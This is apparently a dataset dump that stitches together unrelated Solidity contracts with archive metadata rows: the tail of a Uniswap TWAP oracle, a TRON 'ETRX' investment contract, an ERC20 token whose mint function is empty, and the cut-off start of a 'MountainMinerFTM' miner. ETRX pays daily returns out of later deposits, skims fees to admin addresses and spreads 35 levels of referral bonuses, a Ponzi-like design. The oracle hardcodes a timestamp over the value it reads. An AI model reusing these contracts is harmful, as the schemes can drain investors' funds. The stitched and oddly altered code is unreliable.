function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
function _renounceOperator() public onlyOwner {
emit OperatorTransferred(_operator, address(0));
_operator = address(0);
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(block.timestamp >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (block.timestamp < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (block.timestamp < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
uint immutable PERIOD; // 24 hour TWAP (time-weighted average price) at deployment
uint public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end
bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) Epoch(_period, _startTime, 0) {
pair = _pair;
PERIOD = _period;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
blockTimestampLast = 1668888000;
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function setNewPeriod(uint256 _period) external onlyOperator {
this.setPeriod(_period);
}
function setConsultLeniency(uint _consult_leniency) external onlyOperator {
CONSULT_LENIENCY = _consult_leniency;
}
function setAllowStaleConsults(bool _allow_stale_consults) external onlyOperator {
ALLOW_STALE_CONSULTS = _allow_stale_consults;
}
function canUpdate() public view returns (bool) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
return (timeElapsed >= PERIOD);
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// Ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, "UniswapPairOracle: PERIOD_NOT_ELAPSED");
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
unchecked {
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
}
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that the price is not stale
require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, "UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE");
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// Ensure that the price is not stale
require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, "UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE");
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 331,587 | 13,108 |
c652f848403a4de2d52f982b8bae528eb0047b1d63557b1e6a8387c0f2fe9455
| 18,068 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TF6QxLGHoi47g3qkqWHKR6KfV5A8FT56LK_ETRX.sol
| 3,794 | 14,268 |
//SourceUnit: e_trx_v3.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract ETRX {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 10000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [2000, 1000, 500, 200, 100, 50, 50, 50, 50, 50, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10];
uint constant public MARKETING_FEE = 1200;
uint constant public PROJECT_FEE = 800;
uint constant public ADMIN_FEE = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 50;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 100000000 trx;
uint constant public LEADER_BONUS_STEP = 40000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 50000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[35] refs;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(3)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(3)) {
dividends = (uint(user.deposits[i].amount).mul(3)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends));
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(3)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(3)) {
dividends = (uint(user.deposits[i].amount).mul(3)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
uint msgValue = msg.value;
uint marketingFee = msgValue.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint projectFee = msgValue.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
uint adminFee = msgValue.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
projectAddress.transfer(projectFee);
adminAddress.transfer(adminFee);
emit FeePayed(msg.sender, marketingFee.add(projectFee));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint i = 0; i < 35; i++) {
if (upline != address(0)) {
uint amount = msgValue.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
// }
if (amount > 0) {
address(uint160(upline)).transfer(amount);
users[upline].bonus = uint64(uint(users[upline].bonus).add(amount));
totalRefBonus = totalRefBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
users[upline].refs[i]++;
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint64(msgValue), 0, uint32(block.timestamp)));
totalInvested = totalInvested.add(msgValue);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, msgValue);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(3);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserLastDeposit(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
return user.checkpoint;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn));
}
return amount;
}
function getCurrentHalfDay() public view returns (uint) {
return (block.timestamp.sub(contractCreationTime)).div(TIME_STEP.div(2));
}
function getCurrentHalfDayTurnover() public view returns (uint) {
return turnover[getCurrentHalfDay()];
}
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint64, uint24[35] memory) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 296,465 | 13,109 |
501b9dc512d455b935aabf812ebe52cfbdb28c13401c27b52b81fee9e036cbd8
| 13,338 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5c/5c3a51dcb5d69c7aaa6db189955b58f463f54d42_TimeERC20Token.sol
| 2,917 | 10,749 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
abstract contract ERC20 is IERC20 {
using LowGasSafeMath for uint256;
// Present in ERC777
mapping (address => uint256) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]
.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]
.sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 amount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, amount_);
_totalSupply = _totalSupply.add(amount_);
_balances[account_] = _balances[account_].add(amount_);
emit Transfer(address(0), account_, amount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
library Counters {
using LowGasSafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface IERC2612Permit {
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)));
}
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ERC20Permit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
contract VaultOwned is Ownable {
address internal _vault;
event VaultTransferred(address indexed newVault);
function setVault(address vault_) external onlyOwner() {
require(vault_ != address(0), "IA0");
_vault = vault_;
emit VaultTransferred(_vault);
}
function vault() public view returns (address) {
return _vault;
}
modifier onlyVault() {
require(_vault == msg.sender, "VaultOwned: caller is not the Vault");
_;
}
}
contract TimeERC20Token is ERC20Permit, VaultOwned {
using LowGasSafeMath for uint256;
constructor() ERC20("WorldOne test", "WO", 9) {
_mint(msg.sender, 10000000000000000);
}
function mint(address account_, uint256 amount_) external onlyVault() {
}
function burn(uint256 amount) external virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) external virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) internal virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_);
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 122,180 | 13,110 |
6305dfea8ba1df5c98885f42cfa97eb77783ace8f88c4e923b66384a6baa7031
| 17,081 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ee/eef11c358ce92a28bb0d8ef522d68051ae48ef07_MountainMinerFTM.sol
| 4,914 | 16,150 |
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MountainMinerFTM is Ownable{
using SafeMath for uint256;
address payable public dev;
address payable public market;
uint256 public ORES_TO_HIRE_1CRAFT = 1728000;
uint256 public REFERRAL = 30;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 public DEV_TAX = 15;
uint256 public MARKET_TAX = 15;
uint256 public MARKET_ORES_DIVISOR = 2;
uint256 public MIN_DEPOSIT_LIMIT = 3 ether;
uint256 public MAX_WITHDRAW_LIMIT = 2_600 ether;
uint256[5] public ROI_MAP = [125_775 ether, 251_550 ether, 1_257_752 ether, 2_506_822 ether, 12_534_110 ether];
